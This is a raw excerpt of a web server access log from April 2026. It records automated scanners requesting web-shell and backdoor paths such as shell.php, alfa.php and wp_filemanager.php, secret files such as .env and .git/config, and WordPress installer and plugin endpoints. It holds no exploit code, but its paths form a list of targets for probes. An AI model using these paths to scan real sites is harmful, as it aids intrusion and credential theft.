301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:24 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:29 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:45 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:45 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:46 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:46 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:51 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:51 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:00:02 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:00:44 +0300] "GET /php.ini HTTP/1.1" 301 795 "-" "-" 43.130.139.136 - - [07/Apr/2026:02:29:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.10.67 - - [07/Apr/2026:03:27:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.83.92.30 - - [07/Apr/2026:01:49:16 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:51:23 +0300] "GET /assets/item.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:51:36 +0300] "GET /assets/admin.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:52:25 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:04 +0300] "GET /ALFA_DATA/index.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:54:12 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:55:33 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:55:34 +0300] "GET /brand.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:00 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:02 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:14 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:43 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:43 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:43 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:36 +0300] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:39 +0300] "GET /fm.php?fm=true HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:43 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:46 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:49 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:52 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:11 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:30 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:00:29 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:00:56 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:51 +0300] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:54 +0300] "GET /wp-conffg.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:56 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:01:56 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:47:53 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:47:59 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:48:02 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 115.45.42.15 - - [07/Apr/2026:01:24:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3844.93 UBrowser/6.2.3964.2 Safari/537.36" 40.83.92.30 - - [07/Apr/2026:01:47:49 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:49:41 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:50:37 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:40 +0300] "GET /max.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:44 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:54:47 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:55:15 +0300] "GET /0x1949.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:49 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:02:00:49 +0300] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:50:02 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:14 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:48 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:53:49 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:56:58 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:01 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:25 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 34.48.173.43 - - [07/Apr/2026:01:58:38 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 40.83.92.30 - - [07/Apr/2026:01:58:57 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:58 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:48:22 +0300] "GET /css/database.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:48:17 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:49:28 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:49:37 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:50:17 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:50:29 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:51:43 +0300] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:51:54 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:06 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:57:07 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:19 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:58:19 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:47:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:47:24 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:47:24 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:47:42 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:48:31 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "-" 74.248.146.253 - - [07/Apr/2026:02:48:34 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:48:42 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:50:45 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:50:46 +0300] "GET /cgi-bin/1.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:50:50 +0300] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:50:58 +0300] "GET /wp-content/plugins/pwnd/gecko.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:52:00 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:52:45 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:52:55 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:54:41 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:46 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.83.92.30 - - [07/Apr/2026:01:59:47 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 172.169.250.193 - - [07/Apr/2026:02:13:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 74.248.146.253 - - [07/Apr/2026:02:48:15 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:13 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:16 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 185.254.75.46 - - [07/Apr/2026:03:43:11 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 185.254.75.46 - - [07/Apr/2026:03:43:11 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 13.74.146.113 - - [07/Apr/2026:03:58:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:58:59 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:04 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:08 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:22 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:27 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:31 +0300] "GET /css/database.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:34 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [07/Apr/2026:03:59:36 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.199.97.195 - - [07/Apr/2026:06:28:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.13.191.242 - - [07/Apr/2026:07:13:17 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 OPR/107.0.0.0" 20.199.189.215 - - [07/Apr/2026:06:03:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 134.199.159.111 - - [07/Apr/2026:09:00:10 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 51.107.75.125 - - [07/Apr/2026:08:42:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 54.161.68.26 - - [07/Apr/2026:09:12:21 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 98.159.37.40 - - [07/Apr/2026:09:27:12 +0300] "GET /dup-installer/main.installer.php HTTP/1.1" 301 795 "-" "-" 43.167.245.18 - - [07/Apr/2026:08:21:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [07/Apr/2026:08:14:43 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 74.248.146.253 - - [07/Apr/2026:09:08:04 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 170.106.193.108 - - [07/Apr/2026:07:33:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.161.68.26 - - [07/Apr/2026:09:18:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 51.107.75.125 - - [07/Apr/2026:08:00:14 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 144.172.114.155 - - [07/Apr/2026:09:21:38 +0300] "HEAD /www.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 117.62.235.53 - - [07/Apr/2026:09:32:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.72.93 - - [07/Apr/2026:12:25:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.194.152.176 - - [07/Apr/2026:10:42:14 +0300] "HEAD /eliteewallet.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 87.121.84.99 - - [07/Apr/2026:11:19:46 +0300] "GET /public/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 46.228.199.158 - - [07/Apr/2026:10:33:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 68.221.137.197 - - [07/Apr/2026:12:13:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 87.121.84.44 - - [07/Apr/2026:11:30:16 +0300] "GET /admin/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 62.60.130.210 - - [07/Apr/2026:10:39:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 140.245.44.118 - - [07/Apr/2026:12:38:40 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 170.106.180.246 - - [07/Apr/2026:13:05:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 84.54.33.202 - - [07/Apr/2026:15:25:24 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 31.57.184.104 - - [07/Apr/2026:15:31:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 20.199.97.195 - - [07/Apr/2026:13:05:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.250.40.95 - - [07/Apr/2026:13:59:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 134.199.159.111 - - [07/Apr/2026:14:47:59 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 74.248.146.253 - - [07/Apr/2026:16:16:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 31.220.80.169 - - [07/Apr/2026:15:58:21 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 68.221.137.197 - - [07/Apr/2026:15:47:24 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.167.157.80 - - [07/Apr/2026:16:53:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.136.201 - - [07/Apr/2026:17:30:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.242.72.64 - - [07/Apr/2026:17:40:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 20.151.201.236 - - [07/Apr/2026:18:08:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 188.68.34.92 - - [07/Apr/2026:17:16:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Website-info.net-Robot; https://website-info.net/robot)" 17.241.219.202 - - [07/Apr/2026:17:50:06 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.219.202 - - [07/Apr/2026:17:50:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 188.68.34.92 - - [07/Apr/2026:17:16:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Website-info.net-Robot; https://website-info.net/robot)" 104.194.152.176 - - [07/Apr/2026:18:32:42 +0300] "GET /wp-content/plugins/unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 173.252.70.28 - - [07/Apr/2026:19:24:08 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 109.123.251.54 - - [07/Apr/2026:20:47:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.194.152.176 - - [07/Apr/2026:21:57:12 +0300] "GET /wp-content/unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 182.42.111.213 - - [07/Apr/2026:22:02:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.199.97.195 - - [07/Apr/2026:20:27:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 170.106.160.90 - - [07/Apr/2026:21:47:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.178.45 - - [07/Apr/2026:22:36:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 217.216.37.55 - - [07/Apr/2026:20:58:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.216.37.55 - - [07/Apr/2026:20:58:09 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 144.172.114.155 - - [07/Apr/2026:21:52:29 +0300] "GET /unzip.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 74.234.80.3 - - [07/Apr/2026:22:03:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 68.221.137.197 - - [07/Apr/2026:23:16:57 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.213.131 - - [07/Apr/2026:22:46:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 209.127.35.3 - - [07/Apr/2026:23:30:03 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 212.34.146.152 - - [08/Apr/2026:00:09:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 175.210.118.75 - - [08/Apr/2026:00:09:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/569DE51FA" 104.194.152.176 - - [07/Apr/2026:23:52:43 +0300] "GET /zipCF.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 43.155.188.157 - - [08/Apr/2026:03:00:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.223.152.159 - - [08/Apr/2026:03:43:09 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:13 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:18 +0300] "GET /wp-content/plugins/enhanced-text-widget/analyst/src/403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:23 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:24 +0300] "GET /wp-content/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:29 +0300] "GET /.well-known/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:34 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:39 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:44 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:49 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:54 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:43:59 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:00 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:05 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:10 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:15 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:15 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:21 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:21 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:26 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:31 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:36 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:03:44:41 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - 